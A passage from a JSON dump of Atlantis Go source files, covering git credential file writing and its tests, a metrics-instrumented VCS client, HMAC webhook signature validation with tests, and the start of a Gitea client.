int\n\t\twant    string\n\t}{\n\t\t{\n\t\t\tname:    \"Atlantis PR commit message should include PR number\",\n\t\t\tpullNum: 123,\n\t\t\twant:    \"[Atlantis] Automatically merging after successful apply: PR #123\",\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := common.AutomergeCommitMsg(tt.pullNum); got != tt.want {\n\t\t\t\tt.Errorf(\"AutomergeCommitMsg() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/vcs/common/git_cred_writer.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// WriteGitCreds generates a .git-credentials file containing the username and token\n// used for authenticating with git over HTTPS\n// It will create the file in home/.git-credentials\n// If ghAccessToken is true we will look for a line starting with https://x-access-token and ending with gitHostname and replace it.\nfunc WriteGitCreds(gitUser string, gitToken string, gitHostname string, home string, logger logging.SimpleLogging, ghAccessToken bool) error {\n\tconst credsFilename = \".git-credentials\"\n\tcredsFile := filepath.Join(home, credsFilename)\n\tcredsFileContentsPattern := `https://%s:%s@%s` // nolint: gosec\n\tconfig := fmt.Sprintf(credsFileContentsPattern, gitUser, gitToken, gitHostname)\n\n\t// If the file doesn't exist, write it.\n\tif _, err := os.Stat(credsFile); err != nil {\n\t\tif err := os.WriteFile(credsFile, []byte(config), 0600); err != nil {\n\t\t\treturn fmt.Errorf(\"writing generated %s file with user, token and hostname to %s: %w\", credsFilename, credsFile, err)\n\t\t}\n\t\tlogger.Info(\"wrote git credentials to %s\", credsFile)\n\t} else {\n\t\thasLine, err := fileHasLine(config, credsFile)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif hasLine {\n\t\t\tlogger.Debug(\"git credentials file has expected contents, not modifying\")\n\t\t\treturn nil\n\t\t}\n\n\t\tif ghAccessToken {\n\t\t\thasGHToken, err := fileHasGHToken(gitUser, gitHostname, credsFile)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif hasGHToken {\n\t\t\t\t// Need to replace the line.\n\t\t\t\tif err := fileLineReplace(config, gitUser, gitHostname, credsFile); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"replacing git credentials line for github app: %w\", err)\n\t\t\t\t}\n\t\t\t\tlogger.Info(\"updated git credentials in %s\", credsFile)\n\t\t\t} else {\n\t\t\t\tif err := fileAppend(config, credsFile); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tlogger.Info(\"wrote git credentials to %s\", credsFile)\n\t\t\t}\n\n\t\t} else {\n\t\t\t// Otherwise we need to append the line.\n\t\t\tif err := fileAppend(config, credsFile); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlogger.Info(\"wrote git credentials to %s\", credsFile)\n\t\t}\n\t}\n\n\tcredentialCmd := exec.Command(\"git\", \"config\", \"--global\", \"credential.helper\", \"store\")\n\tif out, err := credentialCmd.CombinedOutput(); err != nil {\n\t\treturn fmt.Errorf(\"running %s: %s: %w\", strings.Join(credentialCmd.Args, \" \"), string(out), err)\n\t}\n\tlogger.Info(\"successfully ran %s\", strings.Join(credentialCmd.Args, \" \"))\n\n\turlCmd := exec.Command(\"git\", \"config\", \"--global\", fmt.Sprintf(\"url.https://%s@%s.insteadOf\", gitUser, gitHostname), fmt.Sprintf(\"ssh://git@%s\", gitHostname)) // nolint: gosec\n\tif out, err := urlCmd.CombinedOutput(); err != nil {\n\t\treturn fmt.Errorf(\"running %s: %s: %w\", strings.Join(urlCmd.Args, \" \"), string(out), err)\n\t}\n\tlogger.Info(\"successfully ran %s\", strings.Join(urlCmd.Args, \" \"))\n\treturn nil\n}\n\nfunc fileHasLine(line string, filename string) (bool, error) {\n\tcurrContents, err := os.ReadFile(filename) // nolint: gosec\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"reading %s: %w\", filename, err)\n\t}\n\treturn slices.Contains(strings.Split(string(currContents), \"\\n\"), line), nil\n}\n\nfunc fileAppend(line string, filename string) error {\n\tcurrContents, err := os.ReadFile(filename) // nolint: gosec\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(currContents) > 0 && !strings.HasSuffix(string(currContents), \"\\n\") {\n\t\tline = \"\\n\" + line\n\t}\n\treturn os.WriteFile(filename, []byte(string(currContents)+line), 0600)\n}\n\nfunc fileLineReplace(line, user, host, filename string) error {\n\tcurrContents, err := os.ReadFile(filename) // nolint: gosec\n\tif err != nil {\n\t\treturn err\n\t}\n\tprevLines := strings.Split(string(currContents), \"\\n\")\n\tvar newLines []string\n\tfor _, l := range prevLines {\n\t\tif strings.HasPrefix(l, \"https://\"+user) && strings.HasSuffix(l, host) {\n\t\t\tnewLines = append(newLines, line)\n\t\t} else {\n\t\t\tnewLines = append(newLines, l)\n\t\t}\n\t}\n\ttoWrite := strings.Join(newLines, \"\\n\")\n\n\t// there was nothing to replace so we need to append the creds\n\tif toWrite == \"\" {\n\t\treturn fileAppend(line, filename)\n\t}\n\n\treturn os.WriteFile(filename, []byte(toWrite), 0600)\n}\n\nfunc fileHasGHToken(user, host, filename string) (bool, error) {\n\tcurrContents, err := os.ReadFile(filename) // nolint: gosec\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor l := range strings.SplitSeq(string(currContents), \"\\n\") {\n\t\tif strings.HasPrefix(l, \"https://\"+user) && strings.HasSuffix(l, host) {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\n"
  },
  {
    "path": "server/events/vcs/common/git_cred_writer_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test that we write the file as expected\nfunc TestWriteGitCreds_WriteFile(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\terr := common.WriteGitCreds(\"user\", \"token\", \"hostname\", tmp, logger, false)\n\tOk(t, err)\n\n\texpContents := `https://user:token@hostname`\n\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".git-credentials\"))\n\tOk(t, err)\n\tEquals(t, expContents, string(actContents))\n}\n\n// Test that if the file already exists and it doesn't have the line we would\n// have written, we write it.\nfunc TestWriteGitCreds_Appends(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\tcredsFile := filepath.Join(tmp, \".git-credentials\")\n\terr := os.WriteFile(credsFile, []byte(\"contents\"), 0600)\n\tOk(t, err)\n\n\terr = common.WriteGitCreds(\"user\", \"token\", \"hostname\", tmp, logger, false)\n\tOk(t, err)\n\n\texpContents := \"contents\\nhttps://user:token@hostname\"\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".git-credentials\"))\n\tOk(t, err)\n\tEquals(t, expContents, string(actContents))\n}\n\n// Test that if the file already exists and it already has the line expected\n// we do nothing.\nfunc TestWriteGitCreds_NoModification(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\tcredsFile := filepath.Join(tmp, \".git-credentials\")\n\tcontents := \"line1\\nhttps://user:token@hostname\\nline2\"\n\terr := os.WriteFile(credsFile, []byte(contents), 0600)\n\tOk(t, err)\n\n\terr = common.WriteGitCreds(\"user\", \"token\", \"hostname\", tmp, logger, false)\n\tOk(t, err)\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".git-credentials\"))\n\tOk(t, err)\n\tEquals(t, contents, string(actContents))\n}\n\n// Test that the github app credentials get replaced.\nfunc TestWriteGitCreds_ReplaceApp(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\tcredsFile := filepath.Join(tmp, \".git-credentials\")\n\tcontents := \"line1\\nhttps://x-access-token:v1.87dddddddddddddddd@github.com\\nline2\"\n\terr := os.WriteFile(credsFile, []byte(contents), 0600)\n\tOk(t, err)\n\n\terr = common.WriteGitCreds(\"x-access-token\", \"token\", \"github.com\", tmp, logger, true)\n\tOk(t, err)\n\texpContents := \"line1\\nhttps://x-access-token:token@github.com\\nline2\"\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".git-credentials\"))\n\tOk(t, err)\n\tEquals(t, expContents, string(actContents))\n}\n\n// Test that the github app credential gets added even if there are other credentials.\nfunc TestWriteGitCreds_AppendAppWhenFileNotEmpty(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\tcredsFile := filepath.Join(tmp, \".git-credentials\")\n\tcontents := \"line1\\nhttps://user:token@host.com\\nline2\"\n\terr := os.WriteFile(credsFile, []byte(contents), 0600)\n\tOk(t, err)\n\n\terr = common.WriteGitCreds(\"x-access-token\", \"token\", \"github.com\", tmp, logger, true)\n\tOk(t, err)\n\texpContents := \"line1\\nhttps://user:token@host.com\\nline2\\nhttps://x-access-token:token@github.com\"\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".git-credentials\"))\n\tOk(t, err)\n\tEquals(t, expContents, string(actContents))\n}\n\n// Test that the github app credentials get updated when cred file is empty.\nfunc TestWriteGitCreds_AppendApp(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\tcredsFile := filepath.Join(tmp, \".git-credentials\")\n\tcontents := \"\"\n\terr := os.WriteFile(credsFile, []byte(contents), 0600)\n\tOk(t, err)\n\n\terr = common.WriteGitCreds(\"x-access-token\", \"token\", \"github.com\", tmp, logger, true)\n\tOk(t, err)\n\texpContents := \"https://x-access-token:token@github.com\"\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".git-credentials\"))\n\tOk(t, err)\n\tEquals(t, expContents, string(actContents))\n}\n\n// Test that if we can't read the existing file to see if the contents will be\n// the same that we just error out.\nfunc TestWriteGitCreds_ErrIfCannotRead(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\tcredsFile := filepath.Join(tmp, \".git-credentials\")\n\terr := os.WriteFile(credsFile, []byte(\"can't see me!\"), 0000)\n\tOk(t, err)\n\n\texpErr := fmt.Sprintf(\"open %s: permission denied\", credsFile)\n\tactErr := common.WriteGitCreds(\"user\", \"token\", \"hostname\", tmp, logger, false)\n\tErrContains(t, expErr, actErr)\n}\n\n// Test that if we can't write, we error out.\nfunc TestWriteGitCreds_ErrIfCannotWrite(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcredsFile := \"/this/dir/does/not/exist/.git-credentials\" // nolint: gosec\n\texpErr := fmt.Sprintf(\"writing generated .git-credentials file with user, token and hostname to %s: open %s: no such file or directory\", credsFile, credsFile)\n\tactErr := common.WriteGitCreds(\"user\", \"token\", \"hostname\", \"/this/dir/does/not/exist\", logger, false)\n\tErrEquals(t, expErr, actErr)\n}\n\n// Test that git is actually configured to use the credentials\nfunc TestWriteGitCreds_ConfigureGitCredentialHelper(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\terr := common.WriteGitCreds(\"user\", \"token\", \"hostname\", tmp, logger, false)\n\tOk(t, err)\n\n\texpOutput := `store`\n\tactOutput, err := exec.Command(\"git\", \"config\", \"--global\", \"credential.helper\").Output()\n\tOk(t, err)\n\tEquals(t, expOutput+\"\\n\", string(actOutput))\n}\n\n// Test that git is configured to use https instead of ssh\nfunc TestWriteGitCreds_ConfigureGitUrlOverride(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp := t.TempDir()\n\tt.Setenv(\"HOME\", tmp)\n\n\terr := common.WriteGitCreds(\"user\", \"token\", \"hostname\", tmp, logger, false)\n\tOk(t, err)\n\n\texpOutput := `ssh://git@hostname`\n\tactOutput, err := exec.Command(\"git\", \"config\", \"--global\", \"url.https://user@hostname.insteadof\").Output()\n\tOk(t, err)\n\tEquals(t, expOutput+\"\\n\", string(actOutput))\n}\n"
  },
  {
    "path": "server/events/vcs/common/instrumented_client.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common\n\nimport (\n\t\"strconv\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype InstrumentedClient struct {\n\tvcs.Client\n\tStatsScope tally.Scope\n\tLogger     logging.SimpleLogging\n}\n\nfunc (c *InstrumentedClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tscope := c.StatsScope.SubScope(\"get_modified_files\")\n\tscope = SetGitScopeTags(scope, repo.FullName, pull.Num)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tfiles, err := c.Client.GetModifiedFiles(logger, repo, pull)\n\n\tif err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to get modified files, error: %s\", err.Error())\n\t} else {\n\t\texecutionSuccess.Inc(1)\n\t}\n\n\treturn files, err\n}\n\nfunc (c *InstrumentedClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\tscope := c.StatsScope.SubScope(\"create_comment\")\n\tscope = SetGitScopeTags(scope, repo.FullName, pullNum)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tif err := c.Client.CreateComment(logger, repo, pullNum, comment, command); err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to create comment for command %s, error: %s\", command, err.Error())\n\t\treturn err\n\t}\n\n\texecutionSuccess.Inc(1)\n\treturn nil\n}\n\nfunc (c *InstrumentedClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error {\n\tscope := c.StatsScope.SubScope(\"react_to_comment\")\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tif err := c.Client.ReactToComment(logger, repo, pullNum, commentID, reaction); err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to react to comment, error: %s\", err.Error())\n\t\treturn err\n\t}\n\n\texecutionSuccess.Inc(1)\n\treturn nil\n}\n\nfunc (c *InstrumentedClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error {\n\tscope := c.StatsScope.SubScope(\"hide_prev_plan_comments\")\n\tscope = SetGitScopeTags(scope, repo.FullName, pullNum)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tif err := c.Client.HidePrevCommandComments(logger, repo, pullNum, command, dir); err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to hide previous %s comments, error: %s\", command, err.Error())\n\t\treturn err\n\t}\n\n\texecutionSuccess.Inc(1)\n\treturn nil\n\n}\n\nfunc (c *InstrumentedClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) {\n\tscope := c.StatsScope.SubScope(\"pull_is_approved\")\n\tscope = SetGitScopeTags(scope, repo.FullName, pull.Num)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tapproved, err := c.Client.PullIsApproved(logger, repo, pull)\n\n\tif err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to check pull approval status, error: %s\", err.Error())\n\t} else {\n\t\texecutionSuccess.Inc(1)\n\t}\n\n\treturn approved, err\n}\n\nfunc (c *InstrumentedClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) {\n\tscope := c.StatsScope.SubScope(\"pull_is_mergeable\")\n\tscope = SetGitScopeTags(scope, repo.FullName, pull.Num)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tmergeable, err := c.Client.PullIsMergeable(logger, repo, pull, vcsstatusname, ignoreVCSStatusNames)\n\n\tif err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to check pull mergeable status, error: %s\", err.Error())\n\t} else {\n\t\texecutionSuccess.Inc(1)\n\t}\n\n\treturn mergeable, err\n}\n\nfunc (c *InstrumentedClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\t// If the plan isn't coming from a pull request,\n\t// don't attempt to update the status.\n\tif pull.Num == 0 {\n\t\treturn nil\n\t}\n\n\tscope := c.StatsScope.SubScope(\"update_status\")\n\tscope = SetGitScopeTags(scope, repo.FullName, pull.Num)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tif err := c.Client.UpdateStatus(logger, repo, pull, state, src, description, url); err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to update status at url: %s, error: %s\", url, err.Error())\n\t\treturn err\n\t}\n\n\texecutionSuccess.Inc(1)\n\treturn nil\n}\n\nfunc (c *InstrumentedClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\tscope := c.StatsScope.SubScope(\"merge_pull\")\n\tscope = SetGitScopeTags(scope, pull.BaseRepo.FullName, pull.Num)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tif err := c.Client.MergePull(logger, pull, pullOptions); err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to merge pull, error: %s\", err.Error())\n\t\treturn err\n\t}\n\n\texecutionSuccess.Inc(1)\n\treturn nil\n}\n\nfunc SetGitScopeTags(scope tally.Scope, repoFullName string, pullNum int) tally.Scope {\n\treturn scope.Tagged(map[string]string{\n\t\t\"base_repo\": repoFullName,\n\t\t\"pr_number\": strconv.Itoa(pullNum),\n\t})\n}\n"
  },
  {
    "path": "server/events/vcs/common/request_validation.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\" // nolint: gosec\n\t\"crypto/sha256\"\n\t\"crypto/sha512\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"hash\"\n\t\"strings\"\n)\n\n// Attribution: This code is taken from https://github.com/google/go-github.\n\nfunc ValidateSignature(payload []byte, signature string, secretKey []byte) error {\n\tmessageMAC, hashFunc, err := messageMAC(signature)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !checkMAC(payload, messageMAC, secretKey, hashFunc) {\n\t\treturn errors.New(\"payload signature check failed\")\n\t}\n\treturn nil\n}\n\n// genMAC generates the HMAC signature for a message provided the secret key\n// and hashFunc.\nfunc genMAC(message, key []byte, hashFunc func() hash.Hash) []byte {\n\tmac := hmac.New(hashFunc, key)\n\t// nolint: errcheck\n\tmac.Write(message)\n\treturn mac.Sum(nil)\n}\n\n// checkMAC reports whether messageMAC is a valid HMAC tag for message.\nfunc checkMAC(message, messageMAC, key []byte, hashFunc func() hash.Hash) bool {\n\texpectedMAC := genMAC(message, key, hashFunc)\n\treturn hmac.Equal(messageMAC, expectedMAC)\n}\n\n// messageMAC returns the hex-decoded HMAC tag from the signature and its\n// corresponding hash function.\nfunc messageMAC(signature string) ([]byte, func() hash.Hash, error) {\n\tif signature == \"\" {\n\t\treturn nil, nil, errors.New(\"missing signature\")\n\t}\n\tsigParts := strings.SplitN(signature, \"=\", 2)\n\tif len(sigParts) != 2 {\n\t\treturn nil, nil, fmt.Errorf(\"error parsing signature %q\", signature)\n\t}\n\n\tvar hashFunc func() hash.Hash\n\tswitch sigParts[0] {\n\tcase \"sha1\":\n\t\thashFunc = sha1.New\n\tcase \"sha256\":\n\t\thashFunc = sha256.New\n\tcase \"sha512\":\n\t\thashFunc = sha512.New\n\tdefault:\n\t\treturn nil, nil, fmt.Errorf(\"unknown hash type prefix: %q\", sigParts[0])\n\t}\n\n\tbuf, err := hex.DecodeString(sigParts[1])\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"error decoding signature %q: %v\", signature, err)\n\t}\n\treturn buf, hashFunc, nil\n}\n"
  },
  {
    "path": "server/events/vcs/common/request_validation_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestValidateSignature(t *testing.T) {\n\tbody := `{\"eventKey\":\"pr:comment:added\",\"date\":\"2018-07-24T15:10:05+0200\",\"actor\":{\"name\":\"lkysow\",\"emailAddress\":\"lkysow@gmail.com\",\"id\":1,\"displayName\":\"Luke Kysow\",\"active\":true,\"slug\":\"lkysow\",\"type\":\"NORMAL\"},\"pullRequest\":{\"id\":5,\"version\":0,\"title\":\"another.tf edited online with Bitbucket\",\"state\":\"OPEN\",\"open\":true,\"closed\":false,\"createdDate\":1532365427513,\"updatedDate\":1532365427513,\"fromRef\":{\"id\":\"refs/heads/lkysow/anothertf-1532365422773\",\"displayId\":\"lkysow/anothertf-1532365422773\",\"latestCommit\":\"b52b8e254e956654dcdb394d0ccba9199f420427\",\"repository\":{\"slug\":\"atlantis-example\",\"id\":1,\"name\":\"atlantis-example\",\"scmId\":\"git\",\"state\":\"AVAILABLE\",\"statusMessage\":\"Available\",\"forkable\":true,\"project\":{\"key\":\"AT\",\"id\":1,\"name\":\"atlantis\",\"public\":false,\"type\":\"NORMAL\"},\"public\":false}},\"toRef\":{\"id\":\"refs/heads/master\",\"displayId\":\"master\",\"latestCommit\":\"0a338874369017deba7c22e99e6000932724282f\",\"repository\":{\"slug\":\"atlantis-example\",\"id\":1,\"name\":\"atlantis-example\",\"scmId\":\"git\",\"state\":\"AVAILABLE\",\"statusMessage\":\"Available\",\"forkable\":true,\"project\":{\"key\":\"AT\",\"id\":1,\"name\":\"atlantis\",\"public\":false,\"type\":\"NORMAL\"},\"public\":false}},\"locked\":false,\"author\":{\"user\":{\"name\":\"lkysow\",\"emailAddress\":\"lkysow@gmail.com\",\"id\":1,\"displayName\":\"Luke Kysow\",\"active\":true,\"slug\":\"lkysow\",\"type\":\"NORMAL\"},\"role\":\"AUTHOR\",\"approved\":false,\"status\":\"UNAPPROVED\"},\"reviewers\":[],\"participants\":[]},\"comment\":{\"properties\":{\"repositoryId\":1},\"id\":65,\"version\":0,\"text\":\"comment\",\"author\":{\"name\":\"lkysow\",\"emailAddress\":\"lkysow@gmail.com\",\"id\":1,\"displayName\":\"Luke Kysow\",\"active\":true,\"slug\":\"lkysow\",\"type\":\"NORMAL\"},\"createdDate\":1532437805137,\"updatedDate\":1532437805137,\"comments\":[],\"tasks\":[]}}`\n\tsecret := \"mysecret\"\n\tsig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083`\n\terr := common.ValidateSignature([]byte(body), sig, []byte(secret))\n\tOk(t, err)\n}\n\nfunc TestValidateSignature_Invalid(t *testing.T) {\n\tbody := `\"eventKey\":\"pr:comment:added\",\"date\":\"2018-07-24T15:10:05+0200\",\"actor\":{\"name\":\"lkysow\",\"emailAddress\":\"lkysow@gmail.com\",\"id\":1,\"displayName\":\"Luke Kysow\",\"active\":true,\"slug\":\"lkysow\",\"type\":\"NORMAL\"},\"pullRequest\":{\"id\":5,\"version\":0,\"title\":\"another.tf edited online with Bitbucket\",\"state\":\"OPEN\",\"open\":true,\"closed\":false,\"createdDate\":1532365427513,\"updatedDate\":1532365427513,\"fromRef\":{\"id\":\"refs/heads/lkysow/anothertf-1532365422773\",\"displayId\":\"lkysow/anothertf-1532365422773\",\"latestCommit\":\"b52b8e254e956654dcdb394d0ccba9199f420427\",\"repository\":{\"slug\":\"atlantis-example\",\"id\":1,\"name\":\"atlantis-example\",\"scmId\":\"git\",\"state\":\"AVAILABLE\",\"statusMessage\":\"Available\",\"forkable\":true,\"project\":{\"key\":\"AT\",\"id\":1,\"name\":\"atlantis\",\"public\":false,\"type\":\"NORMAL\"},\"public\":false}},\"toRef\":{\"id\":\"refs/heads/main\",\"displayId\":\"main\",\"latestCommit\":\"0a338874369017deba7c22e99e6000932724282f\",\"repository\":{\"slug\":\"atlantis-example\",\"id\":1,\"name\":\"atlantis-example\",\"scmId\":\"git\",\"state\":\"AVAILABLE\",\"statusMessage\":\"Available\",\"forkable\":true,\"project\":{\"key\":\"AT\",\"id\":1,\"name\":\"atlantis\",\"public\":false,\"type\":\"NORMAL\"},\"public\":false}},\"locked\":false,\"author\":{\"user\":{\"name\":\"lkysow\",\"emailAddress\":\"lkysow@gmail.com\",\"id\":1,\"displayName\":\"Luke Kysow\",\"active\":true,\"slug\":\"lkysow\",\"type\":\"NORMAL\"},\"role\":\"AUTHOR\",\"approved\":false,\"status\":\"UNAPPROVED\"},\"reviewers\":[],\"participants\":[]},\"comment\":{\"properties\":{\"repositoryId\":1},\"id\":65,\"version\":0,\"text\":\"comment\",\"author\":{\"name\":\"lkysow\",\"emailAddress\":\"lkysow@gmail.com\",\"id\":1,\"displayName\":\"Luke Kysow\",\"active\":true,\"slug\":\"lkysow\",\"type\":\"NORMAL\"},\"createdDate\":1532437805137,\"updatedDate\":1532437805137,\"comments\":[],\"tasks\":[]}}`\n\tsecret := \"mysecret\"\n\tsig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083`\n\terr := common.ValidateSignature([]byte(body), sig, []byte(secret))\n\tErrEquals(t, \"payload signature check failed\", err)\n}\n"
  },
  {
    "path": "server/events/vcs/gitea/client.go",
    "content": "// Copyright 2024 Martijn van der Kleijn & Florian Beisel\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage gitea\n\nimport (\n\t\"context\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"code.gitea.io/sdk/gitea\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// Emergency break for Gitea pagination (just in case)\n// Set to 500 to prevent runaway situations\n// Value chosen purposely high, though randomly.\nconst giteaPaginationEBreak = 500\n\ntype Client struct {\n\tgiteaClient *gitea.Client\n\tusername    string\n\ttoken       string\n\tpageSize    int\n\tctx         context.Context\n}\n\ntype GiteaPRReviewSummary struct {\n\tReviews []GiteaReview\n}\n\ntype GiteaReview struct {\n\tID          int64\n\tBody        string\n\tReviewer    string\n\tState       gitea.ReviewStateType // e.g., \"APPROVED\", \"PENDING\", \"REQUEST_CHANGES\"\n\tSubmittedAt time.Time\n}\n\ntype GiteaPullGetter interface {\n\tGetPullRequest(repo models.Repo, pullNum int) (*gitea.PullRequest, error)\n}\n\n// New builds a client that makes API calls to Gitea. httpClient is the\n// client to use to make the requests, username and password are used as basic\n// auth in the requests, baseURL is the API's baseURL, ex. https://corp.com:7990.\n// Don't include the API version, ex. '/1.0'.\nfunc New(baseURL string, username string, token string, pagesize int, logger 